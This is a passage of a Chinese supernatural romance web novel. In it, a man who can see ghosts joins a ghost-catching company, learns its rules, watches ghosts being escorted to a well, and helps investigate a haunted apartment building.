程故想起几人工作服上的logo,站在原地缓了片刻才想起来自己应该离开,瞥了眼包冠林,礼貌点头后离开。
“你不是要处理灵异事件吗?”陈沢不死心,追上程故想要他的联系方式,“这是我的手机号,你需要的时候可以给我打电话,我会立刻赶过来帮你解决。”
同伴翻翻白眼,扯了下他的手臂:“本来就没赚到钱,你还在这里浪费时间,人家事情都莫名其妙解决了。”
陈沢撇开同伴,继续冲程故笑嘻嘻的:“要不然你给我一个联系方式也可以。”
“不用了。”程故淡声道,“我的事情真的解决了。”
陈沢一愣,还想再说什么,四周温度倏地降低,无形中似有一个看不见的巨大冰块立在面前影响着。
他哆嗦着搓搓手臂,左右张望后以此为话题,和程故搭话:“你不觉得这周围温度不对吗?我觉得你住的地方有不干净的东西,赶紧换个房子吧,我有认识的中介,可以给你介绍房子。”
‘不干净’的言随脸上最后一点笑意消散完全,他面无表情地盯着陈沢,眼里没有任何情绪波动,漠然冷淡的就像是没有生命的雕塑。
程故很少看到言随这样,这两天接触他脸上的笑意从没消失过,一时间忍不住多看两眼。
言随很快察觉到,侧目看来,程故仓皇收回视线。
“真的不用了。”他挺直身体,转移自己的注意力,语气冷硬地对陈沢说,“我自己解决了。”
这下反倒是陈沢反应不过来。
他张张嘴,无声片刻,才悻悻然地说:“你真的能看到那些东西啊?我以为你开玩笑的,那些东西长什么样子?”
程故没说话,陈沢察觉这话直接暴露自己没多少本事,闭上嘴被同伴强行拉走了。
“你有事找我,我就住在隔壁小区,跟保安说找陈沢,他就会带你找我。”临走前,陈沢还不忘大声喊道,“记得找我啊,我会一直等你的。”
程故没有回答,打开门先一步进入。
言随跟在他身后,不知何时唇角又重新上扬,缓缓笑出声:“那个人对你感兴趣。”
以为他吃醋了,程故步伐一顿,关上房门后试探性问:“你吃醋……你很介意吗?”
“不介意。”言随沉默两秒,低头换鞋,脸上表情不太明显,只能通过平静无波澜的声音判断他似乎真的不在意。
“你放心,我不是喜欢吃醋的人。”
20.第二十章
第20章
程故形容不好此刻自己的想法,有点被拔高期待的巨大失望感,心情复杂地点点头。
“今天提到的婚契,我们也是那样吗?”
“不是。”言随说,“它们有问题,我们没问题,合法正规。”
程故心虚低咳:“我是不小心吵醒你导致的,真的合法正规吗?”
言随倏然失笑:“保证合法正规,你可以理解为我只能被你唤醒,与你定下阴缘。”
程故似懂非懂,拿出那张名片。
一切好奇的问题,等明天到这个公司就能明白。
……
第一天睡一起倒还好,今晚躺在一起尴尬多了。
程故只能背对着言随,催眠自己赶紧睡。
可越这样想越睡不着,大脑清醒到轻易就能捕捉到不属于自己的那道呼吸。
房子不够住,要真入职了公司,他要重新租两室一厅的房子。
脑中有了困意,程故感受着言随平稳的呼吸,逐渐睡去。
房间里静谧无声,窗帘被风吹动,发出呼啦啦奇怪的摩擦声,中间夹杂着细碎不容易察觉的说话声,晦涩难懂。
窗帘骤然浮起,月光淡淡,窗玻璃上趴着数十个黑影扭动着身体,观察着房间里的景象,却不敢发出一点动静,更不敢进入其中探究。
躺在床上的青年毫无察觉,睡得十分沉,最后无意识翻个身面对言随。
昏暗之中只能窥见青年的轮廓,他眉眼柔和温润,长睫安静地垂着,皮肤细腻白皙,看的人不禁伸出手感受一下那极好的触感。
手指下陷,皮肤好到似会呼吸般柔软起伏。
言随轻轻摩挲,程故反射性拿开他的手,挪动着身体,毫无意识钻入他的被子中。
这还不够,程故伸手寻找言随的腰,圈住后才放心睡去,原本凌乱的呼吸慢慢变平缓。
言随任由抱着,怀里染上滚烫的体温,他不由得低笑一声,就那样沉沉睡去。
第二天,光从窗帘缝隙穿进房间。
程故意识骤然清醒,刚睁开眼就看到了熟悉的衣料,以及那微热的体温。
他瞬间收回手,根本不敢细想,从言随被子里离开冲进卫生间。
等到洗漱完,程故内心的尴尬还没退去,刚打开卫生间门,言随就站在门口。
四目相对,暧昧在空气中扩散弥漫,程故故意分散注意力,清清嗓子:“早,我洗漱完了,该你了,我去做饭。”
“好。”言随走进卫生间,两人侧身经过。
程故逃似的奔向厨房,下意识拿起面条。
想到昨天早上看着毫无食欲的那碗面,他动作微顿,最后煎了鸡蛋,做了两个简单的三明治。
食物拼接,没什么难度,看上去不错。
程故将盘子放在桌上,示意坐在对面的男人:“尝尝。”
言随拿起吃了一口,竖起拇指:“好吃,很厉害。”
程故被他夸得不好意思:“没什么厉害的,很简单的。”
“明天开始我来做饭。”言随慢条斯理吃完三明治,“这两天辛苦你了。”
除了早餐是他做的,中午和晚上全是点外卖解决,程故被说的脸颊燥热,含糊应下一声。
吃过早饭,程故换了一身比较职业的装扮,打车去名片上的地址。
“这个公司我知道,可有名了,里面出的演员超级多。”上车时,司机注意到地址,笑着开口。
程故略微疑惑,不解地看向言随。
“外人会觉得是其他公司。”言随说,“可能是他们为了隐藏公司故意做的。”
程故恍然大悟,回了司机两句。
公司不远,十五分钟就到了。
程故抬头看着屹立在面前,阴森可怖的大厦,莫名怵得慌。
他尝试往前走了两步,一股森冷的寒气袭来,身体瞬间如坠冰窟,僵在门口。
周围人来人往,却没有人在附近停下,甚至有的人提前避开,生怕撞见什么般。
“站在这里干什么?”程故正犹豫是不是直接进去时,路过的人瞥了他一眼,嘀咕道,“这里闹鬼,你想进去探险啊?进去的人就没人能活着出来,赶紧走吧。”
来的时候出租车司机说这里是其他公司,现在又变成闹鬼的地方,程故猜测是公司故意的,好让人避开这里。
他安心一些,冲对方笑笑。
见他没走,路人停下步伐,话多起来:“你别不信,前几天有人进去,再没有出来过。这是一栋走不出来的鬼大厦,快跑吧。”
程故道谢,暂时先走到一旁,趁着人少的时候快步进入大厦。
门口阴凉刺骨,风好似吹过冰块般带起深深的寒凉感,可进来之后温度适宜,让人不由自主地放松下来。
周遭漆黑一片,只有程故的脚步声回荡着,他打开手电筒。
四周空旷,环境还算干净整洁,前方电梯亮着红色的数字,在黑暗中极为刺目吓人。
程故提起来的心在看到言随的侧脸后安定下来。
“上面有人吗?”
“有。”言随抬头看向天花板,静默两秒后回答。
程故这才放心按下电梯。
原本停留在十八层的电梯,“叮”一声到达一层,速度快到程故忍不住揉揉眼,以为是自己看错了。
这么快的速度,不是电梯,是飞梯吧。
电梯门打开,空间很大,没有多余的东西,只有一个十八层按键。
程故想到十八层地狱,喉结滚动两下,才绷着身体踏入电梯中。
没等他按下按键,电梯门一眨眼关上,飞快上升。
速度太快,程故有一种灵魂脱离身体的微妙感,瞳孔放大又缩小,直到电梯门打开,看到从窗外跃进的阳光都没能反应过来。
前方落地窗干净透亮,能清楚地看到外面的高楼大厦,将近中午,太阳明媚耀眼。
“电梯载人上来了。”不知道是谁说了一句。
程故反射性走出电梯,下一秒,电梯门关上。
他看到了右边的全貌。
玻璃门在他靠近的一刹那自动打开,头顶发出机器音:“欢迎,欢迎,欢迎。”
这不是重点,重点是门后工位上十几双眼睛同时看来。
当初入职上家公司也没这么大压力。
对上那一双双好奇震惊的眼睛,程故拿出名片,在针扎般密集的目光下扯出一抹笑:“你们好,我是来入……面试的。”
“谁推荐来的?”离大门最近的男人走过来,接过名片看了眼,问其他人。
所有人同时摇头,程故没看到熟悉的面容。
公司一百多个工位,非常明显地分成了几个组。
部分人看完他后噼里啪啦地敲着电脑,手速快到几乎出现残影。
确定罗幸三人不在,程故进也不是,不进也不是。
“啊?新人。
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”忽然有人喊了一声,“我这边的。”
不远处穿着灰色睡衣的男人站起身,举手示意程故过去。
程故看向言随,在他点头后才抬脚进去。
从门口到对方面前,再次迎来很多探究的视线,程故别扭地站直身体。
男人忽然开口:“你刚在看谁?身边有人吗?”
程故一惊,诧异男人的敏锐,甚至来不及思考怎么回答。
“别紧张。”男人问完后立刻摆手解释,“不说也没事,每个人都有秘密。你知道我们公司具体要做什么和薪资吗?”
程故毫不犹豫道:“抓鬼。”
男人一怔,忍俊不禁地点头:“差不多。”
他一指侧边工位:“先给你介绍一下,我们公司分部门,一共是六个部门。”
“ABC部门是专门解决任务的,D部门是负责整理任务总结,E部门是专门带鬼去集合点。至于F部门,是我们公司的预备部门,哪个部门人手不够,就去哪个部门帮忙,他们工作比较自由,可以选择不在公司坐班。正常部门休息,或者是晚上加班情况也是他们负责。”
程故对自己有极清楚的定位,闻言指着自己:“我去F部门吗?F部门有五险一金和双休吗?”
“对。”男人笑出声,“看来你只在乎这个,不在乎薪资多少。”
程故跟着一笑,准备去他刚指的F部门。
比较意外的是,F部门是整个公司工位最多的,有二十多个。
“谢谢你,那我先过去?”程故准备去F部门,又觉得不可能就这么轻易入职,试探性看向男人。
“你不是F部门的。”男人拦住他,指着身边工位,“你是A部门的。我之前说的‘对’,是指五险一金和双休没问题。”
“我是新人,不应该去F部门吗?”程故茫然道。
“不是。”男人笑着介绍道,“我叫何景,是A部门第六组的组长,你将进入A部门第六组。”
程故有些意外,直言道:“可我什么都不会,没办法出任务。”
“没事。”男人说,“做几次任务就会了。”
他奇怪地顿了下,瞥了眼F部门:“比起来其他部门,F部门更不适合新人。”
程故跟着看去,工位上只坐着几个人,精神看着都不太好。
别人休息,有任务了F部门需要上班,晚上有任务也需要随叫随到,他猜测这个部门工资肯定比其他部门高,否则没人能接受在这个部门。
何景指着工位介绍:“这是你的位置,桌上放着工作手册,你可以看看,有不懂的可以问我。你的信息我已经交上去了,到时候进前方那间办公室,将你的工资卡号提交。”
“你们怎么知道我的信息?”程故问了一句废话。
做这方面的,肯定能轻而易举知道他的信息。
“只有你的姓名和阴阳眼的信息。”何景解释道,“其他我们是不知道的。”
程故点点头,坐在工位前拿起工作手册,随口问道:“F部门是不是全公司工资最高的?”
“算是吧。”何景说,“他们工作时间比较灵活,有任务就动手,没任务就休息。再加上人多,可以轮排,忙的时候工资最高,平时还是我们出任务组的高一些。”
程故应下一声,低头打开工作手册。
入目是一行极为显目亮眼的红色大字:“公司员工不可以互相谈恋爱,所有谈恋爱的员工全部叉出公司!”
21.第二十一章
第21章
程故一愣,多少有些心虚地去找言随。
他和言随的情况应该不算吧……
言随不知道什么时候不见了。
手腕上红绳发热,应该是在提醒着言随就在附近,程故轻轻转动手腕上红绳。
何景眼尖注意到:“你这根红绳……”
“别人送的。”程故率先打断他的话。
何景点点头,没再多问,只是解释工作手册这第一句话。
“当初公司创立时,有些员工在一起谈恋爱就会辞职回去结婚,那段时间公司少到只有三个人,所以工作手册加上了这个。”
程故明白缘由,继续翻看工作手册。
第二页写满了“打不过就跑”,足以看出暴躁无奈程度。
何景低咳两声:“这个是最近两年有人碰到厉害的鬼,打不过还要打,最后被夺舍,惹来不少麻烦。所以写进工作手册,我们公司不强求打不过还要打,我们主张打不过叫人来。”
程故一顿:“夺舍?会死吗?”
他语气怂了许多,表情迟疑,眼神闪躲,似乎只要何景点头说出会死,他转身就离开公司。
何景没有回答,而是反问:“你怕死吗?”
程故连连点头。
虽然能见到鬼,接触鬼,但他真的怕死,不然一开始也不会找各种大师,贴满房间符纸。
“怕死就对了。”何景笑眯眯道,“我们公司就需要怕死的人。有的人他见鬼见多了,对鬼对死亡没有敬畏之心,导致发生了很多不该发生的事。夺舍的事你不需要担心,一般情况不会出现。”
“公司有对员工有保命手段吗?”程故歪着脑袋说,“我看电视剧里都有。”
“有,我们公司也有。”何景示意他翻开下一页。
程故翻开,见那一页写着:“禁止所有人不戴命符,一经发现,赶出公司。”
“命符有两张,写上个人的生辰八字,与个人有牵扯。一张放在公司,一张随身携带,只要有危及生命的危险,命符会有所反应,到时候自会有人去救。”何景指着上面的字说。
“来新人了?”旁边路过一个女人,瞥了程故一眼,立刻笑着开口,“来我们组呗,六组人够了,我们组缺人。”
“我们组周竹笙好不容易招来的,你要是哄走了,她回来不得疯掉。”何景笑意不停,语气不容商量,“你自己想要新人,自己去招。”
女人摆手:“我就随便一说。”
她坐在自己工位上,冲程故笑笑。
程故注意到她坐下的区域上面挂着一个数字2的牌子。
“二组组长。”何景说,“你慢慢看,有什么不懂的可以问我,没正式入职前随时可以离开。”
程故知道这叫习惯期,习惯了就继续干,习惯不了可以带着工资离开,他点点头。
何景坐在对面,撑着脑袋不知道在看什么,表情漫不经心的。
程故数了下,六组加上何景与他一共有七个工位。
也就是说,除了那天看到的三个人,这个组还有另外两位员工。
程故接着看手册,后面内容比较正式,大多是工作内容。
接到任务后,根据地区划分分给A部门小组,随后派人过去。
至于怎么接任务,手册中有写,要么通过手机APP下单,要么在电脑网站发布,或者被人介绍,打公司电话,再不然就是公司员工自己发现有鬼抓回来。
最后一页是抓到鬼后的处理,需要带到集合点,统一从集合点离开,回到下面。
程故看完员工手册,想和言随讨论一下,手指轻转手腕红绳。
“你觉得可以吗?”他凑近红绳,小声开口。
“可以。”耳边响起言随声音。
程故没看到他:“你不能出现在这里吗?”
“会被发现。”言随温声解释。
程故没再犹豫,起身看向何景:“我同意入职,现在需要做什么?”
何景放下手机,脸上表情收敛,带他来到末尾的办公室。
办公桌前坐着一个看着年纪非常小的男生,程故以为是孩子,仔细一看才发现只是脸显得小。
对方递给他一张信息表,示意填写。
程故快速填完一些基础信息,在是否婚配那一栏停顿了。
“这个不是必须填写。”何景提醒道,“命符需要操作,你跟我来。”
程故点点头,跟着他离开办公室,来到工位前。
何景拿出一张符纸,一面写上名字,一面写生辰八字。
随后用他的指尖血画了一个复杂的符箓,同样操作再次画了一张,随后叠成三角形递给他。
“要一直带身上。”何景嘱咐出声。
程故接过道谢,放在口袋里,坐在工位没多久便一脸茫然。
四周人不多,要么盯着电脑,要么是手机,没人说话,也没任何动静。
程故不知道自己要做什么,想找事来显得自己没那么闲。
何景看出他的想法,直接开口:“我们公司可以随便摸鱼,不要紧张,想干什么干什么。没有任务的时候,你睡觉都没人管,有任务需要立刻到达。”
程故短暂震惊后稍微激动。
竟然有这么好的公司,能够带薪摸鱼。
他拿出手机,倏地想起言随没有手机,打算下班去买一部,以后两人能通过手机沟通。
玩手机太过无聊,程故抬眼,看看向其他工位,问何景:“其他人都去做任务了吗?”
“是的。”
“我们需要出差吗?”
“不需要,我们只用负责海市,其他地区也有公司。”
“我们是分公司?”
“不是,每个地区都有这样的公司。”何景认真解释,“毕竟这东西抓不完,跑出来的、刚死的、藏起来的……”
程故明白了,不知道自己什么时候会出任务。
到现在他依旧觉得轻飘飘的,一切好像做梦一样。
实在没事做,程故无聊地打开电脑,发现桌面上只有一个叫清越的图标,点开后就是何景说的网站。
网站分类清晰,未处理任务暂时为0,已处理任务369,而这只是第六组的任务。
程故点开已处理任务,注意到每个任务都写有总结,快速浏览起来。
身后响起脚步声,其他组员工匆忙离开。
随后E组站起来三人。
程故收回目光:“她们是去集合点吗?”
“对,你想去可以跟着去。”何景说,“看看她们的工作内容。”
程故正好好奇,闻言立刻起身跟过去。
几人司空见惯,并没说什么,简单点头后进入电梯。
电梯壁泛着冰冷的银光,程故低头转动着手腕上的红绳,就戴着这么几天,他就已经习惯性摸红绳了。
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想和言随说话,可是没有太好的时机,他只能抿唇忍住。
电梯到达,门打开,三人率先出去,程故慢一拍跟上,还在好奇怎么过去,发现到达的是负一层停车场,不远处停着一排车。
走在最前面的女人打开车门:“上车吧,地方离这里有点远。”
“好。”程故应了一声,坐在后排。
车子开动,从出口驶出,离开大厦前没有任何人注意到这辆车,驶出后才有人听见声音回头观望。
车子十分钟后停在一块只有水井的荒地前,程故打开车门下车。
天空上方不知何时聚集了一堆乌云,黑压压一片,空气带着丝丝凉意与潮湿,提醒着快要下雨。
三人前后下车,从口袋里拿出一个四方红黑色小盒,看上去没什么特别,就是那颜色艳到一眼就能吸引人的目光。
她们将其放在水井旁,而后打开盖子,拿出三张符纸。
不过刚拿出,符纸瞬间自燃,化为灰烬消散在空中。
刹那间刮起一阵诡异的风,程故头发被吹乱,遮住眼睛,他抬起手死死压住,随后发现风的来源竟然是从井中。
仿佛是知道她们来了,用风给出了通知。
四周温度急速降低,明明还没到冬天,却冻得人哆嗦不停。
风声中夹杂着一些奇怪的声音,像是不停揉捏塑料袋,又像衣服摩擦声。
程故打了三个喷嚏,根本无法控制自己,汗毛竖个不停,莫名觉得自己不该出现在这里。
在第四个喷嚏要出来时,他的口鼻被人捂住,强行制止。
“别说话。”
耳边气息温热,嗓音熟悉,是言随。
他站在程故身侧,贴在他的背脊,倾斜身体凑在他的耳边说完后收回手。
程故揉揉鼻子,艰难点头。
三人中的男人快步过来,拿出手机打字给程故看。
“现在已经开始了。可以发出声音,但不能说话,这边大概还有五分钟解决。其间无论看到什么都别好奇,一切等回去的路上再说。”
程故眨眼,示意自己知道了。
水井中哗啦啦声不停,好似水波撞动,盒子中飘出淡淡的白色烟雾,短暂停留一秒后钻入水井中。
风声、水波声、哗啦啦声全部消失。
一切归为平静。
女人上前盖好盒子,收起准备离开。
程故快步走到水井前,往里面看了眼。
井中早已干涸,深黑一片,没有任何水。
虽然送鬼下去这种事很合理,但亲眼看后,还是免不了震撼。
“结束了。”收回盒子的女人笑着提醒,“可以回去了,你有什么好奇的回去路上再讨论。”
程故收回目光,弯眸笑了笑。
回去路上没等程故开口,开车的女人先一步解释:“符纸是通知这边集合点要开一下,得到通知后,下面会来接它们。”
“这次有多少鬼?”程故问,“那个想和别人成亲的鬼也在其中吗?”
“在。”女人回答,“它身上的铜镜大有来源,被我们公司留下了,以后可以用得上。”
程故又问:“这些鬼去下面后会投胎转世还是什么?”
“那我就不知道了。”女人转动方向盘,沉吟片刻,“每个人命数不同,下去之后要根据生前所做的一切来安排,谁也不知道是入轮回,还是受罚,或者是留在地府。”
22.第二十二章
第22章
程故:“这种集合点很多吗?”
“对,每个市都有一个。”副驾驶坐着的女人总是笑吟吟的,“如果地区很大,会设定好几个集合点。”
程故笑着道谢,没有再问。
“对我们部门好奇的话,可以来我们部门。”身侧的男人邀请道,“我们部门轻松多了,其他部门要各种跑动。”
程故摇摇头:“我现在已经入职A部门第六组了。”
回到公司,第六组工位上才有了人。
程故认出坐在自己右边的是给自己名片的周竹笙,笑着打了招呼。
“你来了。”看到他,周竹笙眼睛亮了,“我就觉得你会来。”
这话让程故忍不住问:“你之前邀请别人,别人没来吗?”
“上个月给过名片,接到了帽子叔叔打来的电话。”周竹笙无奈一笑,“说我是神棍,最后虽然合适干这行,但只能放弃。”
“公司很缺人吗?”
“缺。”周竹笙说,“我们组的人加上你和组长一共有七个,正常应该是十人一组,但你看其他组只有三四人。”
程故环顾四周,果然发现很多工位有东西,却没有人用过的痕迹。
“你是刚出完任务回来吗?”他问。
“上个任务的后续处理。”周竹笙笑着说,“我们去封了那口棺材,拿出了铜镜,现在在收藏室放着。”
程故想了想:“你在这个公司多久了?”
“刚来一年。”周竹笙解释道,“我们公司成立晚,之前是隔壁市负责这里,五年前才成立公司。对了,还没正式介绍,我叫周竹笙。”
“程故。”程故伸出手。
周竹笙握了下:“工作服和工作证一个月后才会发给你,出任务的时候穿工作服,其他时候随意。”
“为什么要特意穿工作服?”程故好奇道。
“除了我们,还有其他处理这些事的,看到工作服多少忌惮,碰到事好处理。”周竹笙笑笑。
程故想到上次见到的几拨人。
电脑屏幕忽然自动弹开网站页面,未处理任务旁多出一个鲜红色的1,提醒来了新任务。
程故挪动鼠标点进去。
页面闪过,随后出现任务人的信息。
姓名:李先生。
地址:海市涂城区,东方小区A栋。
求助内容:我家楼上闹鬼,速来,半个小时内你们还没来,我就找别人了。
后面附带联系方式。
“走。”周竹笙翻箱倒柜,带上一堆东西后想起什么,拿出手机在群里艾特人,“来任务了,你们还没吃完呢?”
封完棺材到公司前,罗幸和李千月饿了,拐去附近的小吃街吃饭。
“吃完了。”李千月擦干净嘴巴,打开手机APP,看到任务内容后回复消息,“别急,我给他打个电话问问。”
说是这么说,她亮起手机屏幕放在罗幸面前:“打电话。”
罗幸吃下最后一口肠粉,飞快拨出电话,一声“喂”才刚出口,就被对方当成骚扰电话骂了个狗血淋头。
罗幸早已司空见惯,拿远手机,等对方激动骂完了,才淡声开口:“我们是清越工作人员,打电话是想问你具体的情况。”
对方一顿,随后骂得更加厉害,罗幸把手机放在桌上,静静等他骂累了才继续说:“现在清醒了吗?能说说情况吗?”
对方沉默片刻,冷静下来。
“你们来了再细说。大概情况就是我们家楼上闹鬼,已经几十天了,不断发出噪音。我之前上去看,里面住的人跟我说没声音,我脑子有病。等我确定脑子没病,找上门,人家不开门了,反倒是其他人跟我说这房子里从没有住过人。”
“等我找物业开了门,里面还真没有任何人的痕迹,所以这几十天我听见的各种噪声,都是鬼发出来的,你们赶紧来抓鬼。”
……
东方小区距离公司十五分钟路程。
程故与周竹笙坐上车。
出发的路上,他忍不住问:“前几天那个大桥车祸事件你知道吗?”
“知道。”周竹笙说,“那个地方确实有问题,不过不属于我们区域,已经有人去处理了。”
“那是怎么回事?”
“死的人怨气深重,那块地方逐渐形成煞气之地,煞气会影响人,导致人出事。”周竹笙解释道,“将煞气清除,恢复干净的磁场就可以了。”
程故想起网上看到的事:“之前也发生过同样的事,那个时候没有处理吗?”
“处理过。”说到这里,周竹笙脸色严肃起来,“当时处理完了,没有任何问题。后来不知道为什么形成了新的煞地。我怀疑这个地方有问题,但毕竟不是我们区域,我已经提醒过负责那块区域的组。”
车子到达小吃街,门打开,罗幸和李千月前后上车。
“又见面了。”注意到程故,李千月一笑,“我是李千月,那位是罗幸,很高兴能和你成为同事。”
程故勾唇一笑:“我是程故,很高兴再次见到你们。”
“这个任务你不用做什么,看着就行。”罗幸说。
程故点头,他什么也不会,目前只能看着。
车子平稳停在东方小区A栋,几人迅速上楼。
周竹笙抬手敲门,三秒钟后,房门打开。
满脸暴躁的男人早就等在门口,见几人进来,努力将眉眼间的不耐烦压制住:“进来吧。”
李千月和罗幸打量着房间内,没看到什么不该出现的东西。
“你们直接上去看看。”男人指着楼上,“肯定能看出问题,我就不上去了,我现在一上去我就难受。”
罗幸示意自己上去看看。
程故留下没什么事,跟着上去。
走到楼上,他并没有感觉到有什么不对,也没看到那些东西,趁着罗幸观察大门,悄声问:“言随,你在吗?”
“我在。”耳边响起沉稳的嗓音。
程故说:“你能看出这有什么问题吗?”
“这个房子没问题。”言随回答。
罗幸看来,程故立刻站直身体,假装打量对门。
“你能看出什么吗?”罗幸眼睛贴上猫眼,确定没问题后问了程故一嘴。
“看不出,很正常。”程故试探性道,“会不会是底下的人压力太大导致?”
“一般不会。”罗幸摇头,“我来公司两年,很少出现本人有精神疾病,而不是闹鬼情况。”
“下去看看,让他从头到尾把事情讲一遍。”罗幸往楼下走去。
程故刚迈下一步,手臂被人轻轻扯住,他以为是这房子有什么东西,出来恐吓自己,吓得一拳打向身后。
“是我。”言随说。
拳头停在半空,程故急忙放下手,庆幸自己动作慢了一拍,没能打出去。
“怎么了?”程故偷瞥
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着下楼的罗幸,怕他发现。
在这种紧张时刻,他莫名生出一种刺激感。
“这个房子没问题,但这栋楼有问题。”言随声音越来越近,等程故回过神,炙热的气息已贴在耳畔,男人继续说,“你要小心。”
这句话跟唇瓣贴在耳根上说得没有任何区别。
明明注意力应该在言随的话上,可程故浑身一抖,原本有些凉的脸颊开始被热意覆盖。
他反射性伸手去推身侧,紧张又小声地提醒:“太近了。”
正在下楼的罗幸倏然抬头叫了一声:“程故?”
“怎么了?”程故看向他。
罗幸目光扫过他愈发红的耳朵:“你很热吗?耳朵都红了。”
“不是。”程故连忙捂住自己的耳朵,快步下楼,“冷的,这栋楼比外面还冷。”
这一点罗幸深有体会。
他穿得薄,进电梯前手脚冰冷,毫无温度,直到出了电梯才觉得好一些。
两人返回李先生房中,将情况说明。
男人激动道:“不可能,是你们的问题吧?你们是不是想骗我的钱,故意这么说的。”
周竹笙提醒:“李先生,我们任务结束只会收取你两千费用。”
李先生一顿,抱着自己的脑袋,痛苦地开口:“不可能,你们绝对没有认真看,不可能没有问题。”
几人让他冷静一下,把事情认真说一遍。
李先生拘束地坐在沙发上,牙齿颤动着,咬了又咬,才缓缓开口讲述自己碰到的奇怪事情。
“一年前,我想买房,但手头钱不够,又不想贷款,经人介绍买了这里的房子。对比其他价格便宜很多,地理位置很好,而且大多数人买了房后就去外地发展了,小区里人不多,非常安静。”
“简单装修后,在两个月前我搬进了这里。一开始还没什么问题,搬进来半个月后,怪事发生了。”
李先生本名李达利,胆子并不小,从小到大鬼屋进过无数次,没有一次被吓到过。
住进这里刚好半个月的那天晚上刮了风,本来就吵,李达利洗完澡收拾完躺在床上准备睡觉的时候,听见了奇怪的“哒哒”声。
他以为是自己听错了,外面风吹导致的,后来发现这声音就在房间里,特别清晰有节奏。
找了一圈,李达利才确定是从楼上传来的,不是脚步声,而像是有人双手双脚趴在地上,飞快跑动发出的沉闷响动。
十二点完全是睡觉时间,李达利在小区群里警告了下,对方不仅没消停,反而更吵。
他准备出门理论时,听见一声极小的抽泣声,就在耳边。
这一下把李达利吓麻了,他背对着卧室窗户,僵在原地,不敢转身,生怕看到不该看的东西。
时间一分一秒过去,李达利喉咙干痒刺痛,身体由于过于紧绷,导致开始出冷汗,胸腔里的心跳察觉到主人的紧张,怦怦怦越来越快。
不知道时间过去了多久,楼上“哒哒哒”声不停,身后是时不时响起的抽泣。
每当李达利以为哭声是幻觉,打算放松身体的刹那,再次会极为清楚地听见。
几次下来,李达利衣服被汗水浸透,偏偏头顶那声音越发过分,吵到了一种刺耳的地步。
愤怒逐渐代替恐惧,想冲上楼理论的李达利往前走了两步,又猛地想起身后的声音,不给大脑思考机会,直接转身看去。
一张惨白的脸挂在窗外。
23.第二十三章
第23章
李达利喉咙一紧,瞳孔无声放大,极度的恐惧让他觉得自己心脏都停止跳动了。
可等反应过来,发现那根本不是脸,是一张面膜,刚好贴在他家窗外,由于他高度紧张才会看错。
至于那抽泣声的确是从窗外传来的,风声太大,不知道吹过什么发出的“呜呜”声。
一切都是错觉,只有楼上那户人家大半夜不知道在干什么。
李达利穿上外套,冲到楼上狂拍门,根本没人来开门。
里面漆黑一片,那哒哒哒声也听不见了,他憋着一肚子气无处发泄。
楼道太冷,外套根本没用,李达利只能不甘心返回楼下。
不知道是不是他拍门导致对方害怕了,那该死的噪音终于消停了。
李达利躺在床上,一闭眼睡了过去。
第二天早上,小区群里没人回复,李达利怕自己下班回去之后又能听见噪声,再次发消息警告楼上睡觉时间别再发出任何声音。
一直到晚上下班都没有人理他。
工作累了一天,还加班到十点才下班,李达利疲惫不堪地回到家,刚打开门,楼上“哒哒哒”沉闷响动如约而至。
他扔下背包,怒气冲冲地跑上楼,一边踹门,一边狂骂,足足半个小时,门纹丝不动,里面的人好似聋子。
程故听到这里,忍不住歉意打断:“当时那么晚了,就算楼上没人,上下左右应该有人,就没人出来看什么情况吗?”
那么大的声音,估计隔壁楼都能听见,可却没有人理会。
李达利闻言一愣,现在也反应过来不对。
可他当时没察觉哪里有问题,发泄半个小时才满足回了房间。
这次声音又停止了。
李达利敢打赌楼上就是故意的,只要他不去骂,就一直制造噪声,一旦去骂立刻停止,但不会理他那些谩骂。
这导致后面下班,他干脆不回家里,而是先去楼上踹门,骂两声再回去。
到家后果然没声音。
这么平安度过三天,半夜他睡得正熟,那种声音再一次响起,这次近到好像在他房间的天花板上来回爬动。
“哒哒哒。”一开始动作还算慢,到后面加速,声音变成了“啪嗒啪嗒”,那种掌皮肉贴着地板发出的动静。
李达利踹开被子,想发出同样的噪声,但他从房间里找过来,也没找到任何有用东西。
最后他冲进厨房,拿出不锈钢盆和擀面杖,打开窗户,拿到外面用力用棍子敲击不锈钢盆。
“砰。”声音在寂静的深夜中荡开,头顶动静顷刻间消失。
李达利正在气头上,即使声音停了也止不住怒火,又是“砰砰”几下。
他厌恶这动静这么大,上下左右应该都能听见,可只有他一个人抗议,其他人就跟死了一样。
敲了几下,等觉得没意思了,李达利才关上窗户,放下盆和擀面杖睡觉。
一夜无梦,第二天醒来神清气爽,上班都有干劲。
李达利平时爱刷某软件,看到不少噪音问题,把自己的事编辑好,发了个帖子,询问别人有没有整治办法。
不过十分钟,几百条回复,足以可见大家有多痛恨噪音困扰。
有人建议他直接上东西,让对方求饶,有人建议他花钱租楼上的楼上,以其人之道还治其人之身。
还有人说他直接把盆扣在天花板上,弄个音响放歌,绝对有效果。
……
众多办法中,还有人好奇楼上邻居不可能这么没素质,问他是不是住着聋哑人,根本不知道自己会发出动静。
李达利不想不清不楚地和别人交恶,思索再三,下班后打算去看看到底有没有人住。
神奇的事发生了,前几天怎么敲踹都没反应的门,这一次不过敲了一下,直接从里面打开了。
穿着一身黑,浓眉大眼的男人盯着他,态度十分不友善:“你干什么?敲门干什么?”
李达利说他制造噪音,男人否认,表示家里根本没有任何声音。
气得李达利想进门确定,男人用强壮的身板挡住大门,推搡着不让他进去,最后直接把他撵下楼。
体格太大,太凶,李达利完全打不过,原本还想上楼继续理论,返回一看门又关上了,他只好返回自己屋内,想着你不承认,我录音把证据甩你脸上,看你怎么否认。
但让他没想到的是,后面无论怎么敲门,再没有人打开,准备好的证据自然成了没用的东西。
李达利气到上班毫无精神,再次打开帖子,表明自己的情况,求助大家。
网友提醒他可以找物业,李达利终于想起来一直被自己遗忘的物业,一个电话打过去,控诉自己家楼上不当人。
接电话的人说出一句让他意想不到的话:“你家楼上空的,没人住啊,你是不是搞错了。”
当时天已经黑了,气温骤降,李达利站在窗边,被这一句话惊得毛骨悚然。
他无法相信,描述自己那天见过的男人长相,电话那边的物业依旧说没有人住。
最后被李达利骂一顿,只好拿着钥匙过来开门让他亲眼看看里面的情况。
门打开,确实没人,甚至没有装修。
李达利呆住,不知道怎么回事,发疯似的在里面寻找,确定不可能藏着人后,回头大声问物业的人。
“那我每天晚上听见的噪音是谁发出的?”
物业欲言又止,眼神明显怀疑他的精神状态有问题。
“我敲门那天,明明有人开门了,现在为什么是空的?”李达利越说大脑越空白,浑身哆嗦着,走出大门,下楼时想起什么,扭头让物业给说法。
“确实是没人住。”物业无奈至极,“您让我们给说法我们也给不出来,您要是不信的话,我们也没办法。”
